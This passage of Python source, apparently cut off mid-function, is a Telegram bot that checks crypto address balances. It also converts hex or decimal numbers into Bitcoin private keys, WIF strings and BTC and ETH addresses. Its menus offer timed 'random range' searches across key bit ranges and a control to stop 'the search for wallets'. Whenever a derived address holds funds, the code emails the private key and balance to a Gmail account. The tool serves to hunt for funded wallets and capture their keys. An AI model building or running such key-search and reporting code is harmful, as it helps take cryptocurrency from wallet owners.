types.KeyboardButton("๐Ÿ”™Back") markup_power.add(option1, option2, option3, option4, option5, back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿ”‹Power Hour Words ๐Ÿ”‹โœจ(Pro Access)โœจ", reply_markup=markup_power) bot.register_next_step_handler(send_message, get_POWER) if message.text=="๐Ÿ”‹Power Hour Range ๐Ÿ”‹โœจ(Pro Access)โœจ": print('[red]Power Hour Tool Entered [/red]') markup_POWER_FULLRANGE = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("1 Minutes Magic Random Range") option2 = types.KeyboardButton("5 Minutes Magic Random Range") option3 = types.KeyboardButton("15 Minutes Magic Random Range โœจ(Pro Access)โœจ") option4 = types.KeyboardButton("30 Minutes Magic Random Range โœจ(Pro Access)โœจ") option5 = types.KeyboardButton("1 Hour Magic Random Range โœจ(Pro Access)โœจ") back = types.KeyboardButton("๐Ÿ”™Back") markup_POWER_FULLRANGE.add(option1, option2, option3, option4, option5, back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿ”‹Power Hour Range ๐Ÿ”‹โœจ(Pro Access)โœจ", reply_markup=markup_POWER_FULLRANGE) bot.register_next_step_handler(send_message, get_POWER_FULLRANGE) if message.text=="โœจRange Selector โœจ(Pro Access)โœจ": print('[red]Range Selector Tool Entered [/red]') markup_POWER_RANGE = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("1-64 Bits") option2 = types.KeyboardButton("64-70 Bits") option3 = types.KeyboardButton("70-80 Bits") option4 = types.KeyboardButton("80-90 Bits") option5 = types.KeyboardButton("90-100 Bits") option6 = types.KeyboardButton("100-110 Bits") option7 = types.KeyboardButton("110-120 Bits") option8 = types.KeyboardButton("120-130 Bits") option9 = types.KeyboardButton("130-140 Bits") option10 = types.KeyboardButton("140-150 Bits") option11 = types.KeyboardButton("150-160 Bits") option12 = types.KeyboardButton("160-170 Bits") option13 = types.KeyboardButton("170-180 Bits") option14 = types.KeyboardButton("180-190 Bits") option15 = types.KeyboardButton("190-200 Bits") option16 = types.KeyboardButton("200-210 Bits") option17 = types.KeyboardButton("210-220 Bits") option18 = types.KeyboardButton("220-230 Bits") option19 = types.KeyboardButton("230-240 Bits") option20 = types.KeyboardButton("240-250 Bits") option21 = types.KeyboardButton("250-253 Bits") option22 = types.KeyboardButton("253-255 Bits") option23 = types.KeyboardButton("255-256 Bits") back = types.KeyboardButton("๐Ÿ”™Back") markup_POWER_RANGE.add(option1, option2, option3, option4, option5, option6, option7, option8, option9, option10, option11, option12, option13, option14, option15, option16, option17, option18, option19, option20, option21, option22, option23, back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿง โœจRange Selector โœจ(Pro Access)โœจ", reply_markup=markup_POWER_RANGE) bot.register_next_step_handler(send_message, get_POWER_RANGE) if message.text=="Stop": global run run = False bot.send_message(message.chat.id, "The search for wallets has been stopped!") start(message) def get_address(message): if message.text=="๐Ÿ”™Back": start(message) else: caddr = message.text if message.content_type == "text": contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + caddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ โ‚ฟitcoin Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Bitcoin Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This โ‚ฟitcoin address is not valid ๐Ÿคช A BTC address is alphanumeric and always starts with a 1 or a 3 or bc1. This is an example of a receiving address: 1FeexV6bAHb8ybZjqQMjJrcCrHGW9sb6uF . Please note: this is just an example address.") print('[red] This Bitcoin address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This โ‚ฟitcoin address is not valid ๐Ÿคช Send in text format") start(message) def get_address_BCH(message): if message.text=="๐Ÿ”™Back": start(message) else: bchaddr = message.text if message.content_type == "text": contents = requests.get("https://bchbook.guarda.co/api/v2/address/" + bchaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ Bitcoin Cash Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BCH {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Bitcoin Cash Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Bitcoin Cash address is not valid ๐Ÿคช Example Bitcoin Cash address. bitcoincash:qp3wjpa3tjlj042z2wv7hahsldgwhwy0rq9sywjpyy . Please note: this is just an example address.") print('[red] This Bitcoin address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Bitcoin Cash address is not valid ๐Ÿคช Send in text format") start(message) def get_address_ETH(message): if message.text=="๐Ÿ”™Back": start(message) else: ethaddr = message.text if message.content_type == "text": contents = requests.get("https://ethbook.guarda.co/api/v2/address/" + ethaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" if txs > 0: nonTokenTxs = (res['nonTokenTxs']) tokens = (res['tokens']) bot.send_message(message.chat.id, f"๐Ÿ‘‡ Ethereum Adress Entered ๐Ÿ‘‡{n}{addressinfo}{n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n} ๐Ÿ”ฅ Number of Tokens ๐Ÿ”ฅ {nonTokenTxs}") print('[purple] Ethereum Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] Transactions: [green][' + str(txs) + '][/green] Number of Tokens:[green][' + str(nonTokenTxs) + '][/green]') print('[purple]Tokens >> [ [/purple]', tokens, '[purple]][/purple]') tokeninfo = str(tokens) if len(tokeninfo) > 4096: for x in range(0, len(tokeninfo), 4096): bot.send_message(message.chat.id, tokeninfo[x:x+4096]) else: bot.send_message(message.chat.id, tokeninfo) else: bot.send_message(message.chat.id, f"๐Ÿ‘‡ Ethereum Adress Entered ๐Ÿ‘‡{n}{addressinfo}{n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Ethereum Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] Transactions: [green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Ethereum address is not valid ๐Ÿคช An example of an Ethereum address is 0xb794f5ea0ba39494ce839613fffba74279579268. Please note: this is just an example address.") print('[red] This Ethereum address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Ethereum address is not valid ๐Ÿคช Send in text format") start(message) def get_address_ETC(message): if message.text=="๐Ÿ”™Back": start(message) else: ethcaddr = message.text if message.content_type == "text": contents = requests.get("https://etcbook.guarda.co/api/v2/address/" + ethcaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" if txs > 0: nonTokenTxs = (res['nonTokenTxs']) tokens = (res['tokens']) bot.send_message(message.chat.id, f"๐Ÿ‘‡ Ethereum Classic Adress Entered ๐Ÿ‘‡{n}{addressinfo}{n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n} ๐Ÿ”ฅ Number of Tokens ๐Ÿ”ฅ {nonTokenTxs}") print('[purple] Ethereum Classic Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] Transactions: [green][' + str(txs) + '][/green] Number of Tokens:[green][' + str(nonTokenTxs) + '][/green]') print('[purple]Tokens >> [ [/purple]', tokens, '[purple]][/purple]') tokeninfo = str(tokens) if len(tokeninfo) > 4096: for x in range(0, len(tokeninfo), 4096): bot.send_message(message.chat.id, tokeninfo[x:x+4096]) else: bot.send_message(message.chat.id, tokeninfo) else: bot.send_message(message.chat.id, f"๐Ÿ‘‡ Ethereum Classic Adress Entered ๐Ÿ‘‡{n}{addressinfo}{n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Ethereum Classic Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] Transactions: [green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Ethereum Classic address is not valid ๐Ÿคช An example of an Ethereum Classic address is 0xb794f5ea0ba39494ce839613fffba74279579268. Please note: this is just an example address.") print('[red] This Ethereum address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Ethereum address is not valid ๐Ÿคช Send in text format") start(message) def get_address_LTC(message): if message.text=="๐Ÿ”™Back": start(message) else: ltcaddr = message.text if message.content_type == "text": contents = requests.get("https://ltcbook.guarda.co/api/v2/address/" + ltcaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ Litecoin Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} LTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Litecoin Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Litecoin address is not valid ๐Ÿคช A litecoin receiving address always starts with an L or an M. This is an example of a litecoin address: MGxNPPB7eBoWPUaprtX9v9CXJZoD2465zN. Please note: this is just an example address.") print('[red] This Litecoin address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Litecoin address is not valid ๐Ÿคช Send in text format") start(message) def get_address_DOGE(message): if message.text=="๐Ÿ”™Back": start(message) else: dogeaddr = message.text if message.content_type == "text": contents = requests.get("https://dogebook.guarda.co/api/v2/address/" + dogeaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ Dogecoin Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} DOGE {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Dogecoin Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Dogecoin address is not valid ๐Ÿคช Doge addresses start with a capital D, followed by a number or capital letter. This is an example of a Dogecoin address: DLCDJhnh6aGotar6b182jpzbNEyXb3C361. Please note: this is just an example address.") print('[red] This Dogecoin address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Dogecoin address is not valid ๐Ÿคช Send in text format") start(message) def get_address_DASH(message): if message.text=="๐Ÿ”™Back": start(message) else: dashaddr = message.text if message.content_type == "text": contents = requests.get("https://dashbook.guarda.co/api/v2/address/" + dashaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ DASH Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} DASH {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] DASH Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This DASH address is not valid ๐Ÿคช Dash addresses are 34 characters long and begin with an uppercase X. This is an example of a DASH address: XpESxaUmonkq8RaLLp46Brx2K39ggQe226 . Please note: this is just an example address.") print('[red] This DASH address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This DASH address is not valid ๐Ÿคช Send in text format") start(message) def get_address_RVN(message): if message.text=="๐Ÿ”™Back": start(message) else: rvnaddr = message.text if message.content_type == "text": contents = requests.get("https://rvnbook.guarda.co/api/v2/address/" + rvnaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ Raven Coin Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} RVN {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Raven Coin Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Raven Coin address is not valid ๐Ÿคช Raven Coin addresses are Addresses are 27 characters long, and start with uppercase R. This is an example of a Raven Coin address: RLmTnB2wSNbSi5Zfz8Eohfvzna5HR2qxk3 . Please note: this is just an example address.") print('[red] This Raven Coin address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Raven Coin address is not valid ๐Ÿคช Send in text format") start(message) def get_address_ZEC(message): if message.text=="๐Ÿ”™Back": start(message) else: zecaddr = message.text if message.content_type == "text": contents = requests.get("https://zecbook.guarda.co/api/v2/address/" + zecaddr) if contents.status_code==200: res = contents.json() balance = (res['balance']) totalReceived = (res['totalReceived']) totalSent = (res['totalSent']) txs = (res['txs']) addressinfo = (res['address']) n = "\n" bot.send_message(message.chat.id, f" ๐Ÿ‘‡ Zcash Adress Entered ๐Ÿ‘‡{n}{n} {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} ZEC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs}") print('[purple] Zcash Address Entered >> [ [/purple]', addressinfo, '[purple]][/purple]') print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Zcash address is not valid ๐Ÿคช Zcash addresses are either private (z-addresses) or transparent (t-addresses). Private z-addresses start with a z, and transparent t-addresses start with a t. This is an example of a Zcash ZEC address: t1ZHieECRpbeRxH9FFB4m2R3UTzj9ktJ92b . Please note: this is just an example address.") print('[red] This Raven Coin address is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ This Zcash address is not valid ๐Ÿคช Send in text format") start(message) def checkHex(HEX): for ch in HEX: if ((ch < '0' or ch > '9') and (ch < 'a' or ch > 'f') and (ch < 'A' or ch > 'F')): print("No") return False print("Yes") return True def get_HEX(message): if message.text=="๐Ÿ”™Back": start(message) else: HEX = message.text if message.content_type == "text": checkHex(HEX) if checkHex(HEX)==True: dec = int(HEX, 16) length = len(bin(dec)) length -=2 print('\nHexadecimal = ',HEX, '\nTo Decimal = ', dec, ' bits ', length) wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, dec) #Compressed uaddr = ice.privatekey_to_address(0, False, dec) #Uncompressed p2sh = ice.privatekey_to_address(1, True, dec) #p2sh bech32 = ice.privatekey_to_address(2, True, dec) #bech32 ethaddr = ice.privatekey_to_ETH_address(dec) resload = get_balance(caddr) info = str(resload) balance = (resload['balance']) totalReceived = (resload['totalReceived']) totalSent = (resload['totalSent']) txs = (resload['txs']) addressinfo = (resload['address']) resload1 = get_balance1(uaddr) info1 = str(resload1) balance1 = (resload1['balance']) totalReceived1 = (resload1['totalReceived']) totalSent1 = (resload1['totalSent']) txs1 = (resload1['txs']) addressinfo1 = (resload1['address']) resload2 = get_balance2(p2sh) info2 = str(resload2) balance2 = (resload2['balance']) totalReceived2 = (resload2['totalReceived']) totalSent2 = (resload2['totalSent']) txs2 = (resload2['txs']) addressinfo2 = (resload2['address']) resload3 = get_balance3(bech32) info3 = str(resload3) balance3 = (resload3['balance']) totalReceived3 = (resload3['totalReceived']) totalSent3 = (resload3['totalSent']) txs3 = (resload3['txs']) addressinfo3 = (resload3['address']) resload4 = get_balance4(ethaddr) info4 = str(resload4) balance4 = (resload4['balance']) txs4 = (resload4['txs']) addressinfo4 = (resload4['address']) n = "\n" print('[purple] HEX Entered >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] DEC Returned >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('BTC Address : ', addressinfo) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') print('BTC Address : ', addressinfo1) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance1) + '][/green] totalReceived: [green][' + str(totalReceived1) + '][/green] totalSent:[green][' + str(totalSent1) + '][/green] txs :[green][' + str(txs1) + '][/green]') print('BTC Address : ', addressinfo2) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance2) + '][/green] totalReceived: [green][' + str(totalReceived2) + '][/green] totalSent:[green][' + str(totalSent2) + '][/green] txs :[green][' + str(txs2) + '][/green]') print('BTC Address : ', addressinfo3) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance3) + '][/green] totalReceived: [green][' + str(totalReceived3) + '][/green] totalSent:[green][' + str(totalSent3) + '][/green] txs :[green][' + str(txs3) + '][/green]') print('ETH Address : ', addressinfo4) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance4) + '][/green] Transactions: [green][' + str(txs4) + '][/green]') bot.send_message(message.chat.id, (f" ๐Ÿ”จ HEX Entered >> ๐Ÿ”จ {n}{HEX}{n}{n} โ›๏ธ DEC Returned >> โ›๏ธ {n}{dec} bits {length}{n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n}{n} โ‚ฟitcoin Address = {addressinfo1} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance1} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived1} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent1} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs1}{n}{n} โ‚ฟitcoin Address = {addressinfo2} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance2} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived2} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent2} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs2}{n}{n} โ‚ฟitcoin Address = {addressinfo3} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance3} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived3} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent3} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance4} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs4}")) if txs4 > 0: nonTokenTxs = (resload4['nonTokenTxs']) tokens = (resload4['tokens']) bot.send_message(message.chat.id, f"Number of Tokens = {nonTokenTxs}") print('Number of Tokens:[green][' + str(nonTokenTxs) + '][/green]') print('[purple]Tokens >> [ [/purple]', tokens, '[purple]][/purple]') tokeninfo = str(tokens) if len(tokeninfo) > 4096: for x in range(0, len(tokeninfo), 4096): bot.send_message(message.chat.id, tokeninfo[x:x+4096]) else: bot.send_message(message.chat.id, tokeninfo) if float(balance) > 0 or float(balance1) > 0 or float(balance2) > 0 or float(balance3) > 0 or float(balance4) > 0: sent_from = gmail_user to = ['youremail@gmail.com'] subject = 'OMG Super Important Message' body = f" HEX Entered >> {n}{HEX}{n} DEC Returned >> {n}{dec} bits {length}{n}{n} WIF Compressed >> {n}{wifc}{n}{n} WIF Uncompressed >> {n}{wifu}{n}{n} Bitcoin Address = {addressinfo} {n}{n} Balance {balance} BTC {n} TotalReceived {totalReceived} {n} TotalSent {totalSent} {n} Transactions {txs} {n}{n} Bitcoin Address = {addressinfo1} {n}{n} Balance {balance1} BTC {n} TotalReceived {totalReceived1} {n} TotalSent {totalSent1} {n} Transactions {txs1}{n}{n} Bitcoin Address = {addressinfo2} {n}{n} Balance {balance2} BTC {n} TotalReceived {totalReceived2} {n} TotalSent {totalSent2} {n} Transactions {txs2}{n}{n} Bitcoin Address = {addressinfo3} {n}{n} Balance {balance3} BTC {n} TotalReceived {totalReceived3} {n} TotalSent {totalSent3} {n} Transactions {txs3}{n}{n} Ethereum Address = {addressinfo4} {n}{n} Balance {balance4} {n} Transactions {txs4}" email_text = """\ From: %s To: %s Subject: %s %s """ % (sent_from, ", ".join(to), subject, body) try: server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() server.login(gmail_user, gmail_password) server.sendmail(sent_from, to, email_text) server.close() print ('Email sent!') except: print('Something went wrong...') elif checkHex(HEX)==False: bot.send_message(message.chat.id, "๐Ÿšซ HEX Entered is not valid ๐Ÿคช") print('[red] HEX Entered is not valid [/red]') else: bot.send_message(message.chat.id, "๐Ÿšซ HEX Entered is not valid ๐Ÿคช Send in text format") start(message) def get_DEC(message): if message.text=="๐Ÿ”™Back": start(message) else: string = message.text if message.content_type == "text": try: val = int(string) dec=int(val) HEX = "%064x" % dec length = len(bin(dec)) length -=2 print('\nDecimal = ',dec, ' bits ', length, '\nTo Hexadecimal = ', HEX) wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, dec) #Compressed uaddr = ice.privatekey_to_address(0, False, dec) #Uncompressed p2sh = ice.privatekey_to_address(1, True, dec) #p2sh bech32 = ice.privatekey_to_address(2, True, dec) #bech32 ethaddr = ice.privatekey_to_ETH_address(dec) resload = get_balance(caddr) info = str(resload) balance = (resload['balance']) totalReceived = (resload['totalReceived']) totalSent = (resload['totalSent']) txs = (resload['txs']) addressinfo = (resload['address']) resload1 = get_balance1(uaddr) info1 = str(resload1) balance1 = (resload1['balance']) totalReceived1 = (resload1['totalReceived']) totalSent1 = (resload1['totalSent']) txs1 = (resload1['txs']) addressinfo1 = (resload1['address']) resload2 = get_balance2(p2sh) info2 = str(resload2) balance2 = (resload2['balance']) totalReceived2 = (resload2['totalReceived']) totalSent2 = (resload2['totalSent']) txs2 = (resload2['txs']) addressinfo2 = (resload2['address']) resload3 = get_balance3(bech32) info3 = str(resload3) balance3 = (resload3['balance']) totalReceived3 = (resload3['totalReceived']) totalSent3 = (resload3['totalSent']) txs3 = (resload3['txs']) addressinfo3 = (resload3['address']) resload4 = get_balance4(ethaddr) info4 = str(resload4) balance4 = (resload4['balance']) txs4 = (resload4['txs']) addressinfo4 = (resload4['address']) n = "\n" print('[purple] DEC Entered >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] HEX Returned >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('BTC Address : ', addressinfo) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance) + '][/green] totalReceived: [green][' + str(totalReceived) + '][/green] totalSent:[green][' + str(totalSent) + '][/green] txs :[green][' + str(txs) + '][/green]') print('BTC Address : ', addressinfo1) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance1) + '][/green] totalReceived: [green][' + str(totalReceived1) + '][/green] totalSent:[green][' + str(totalSent1) + '][/green] txs :[green][' + str(txs1) + '][/green]') print('BTC Address : ', addressinfo2) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance2) + '][/green] totalReceived: [green][' + str(totalReceived2) + '][/green] totalSent:[green][' + str(totalSent2) + '][/green] txs :[green][' + str(txs2) + '][/green]') print('BTC Address : ', addressinfo3) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance3) + '][/green] totalReceived: [green][' + str(totalReceived3) + '][/green] totalSent:[green][' + str(totalSent3) + '][/green] txs :[green][' + str(txs3) + '][/green]') print('ETH Address : ', addressinfo4) print('[red][*][/red] [purple] >>[/purple] Balance: [green] [' + str(balance4) + '][/green] Transactions: [green][' + str(txs4) + '][/green]') bot.send_message(message.chat.id, (f" โ›๏ธ DEC Entered >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ HEX Returned >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {addressinfo} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs} {n}{n} โ‚ฟitcoin Address = {addressinfo1} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance1} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived1} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent1} {n} ๐Ÿ’ต Transactions ๐Ÿ’ต {txs1}{n}{n} โ‚ฟitcoin Address = {addressinfo2} {n}{n} ๐Ÿ’ฐ Balance ๐Ÿ’ฐ {balance2} BTC {n} ๐Ÿ’ธ TotalReceived ๐Ÿ’ธ {totalReceived2} {n} ๐Ÿ“ค TotalSent ๐Ÿ“ค {totalSent2} {n} 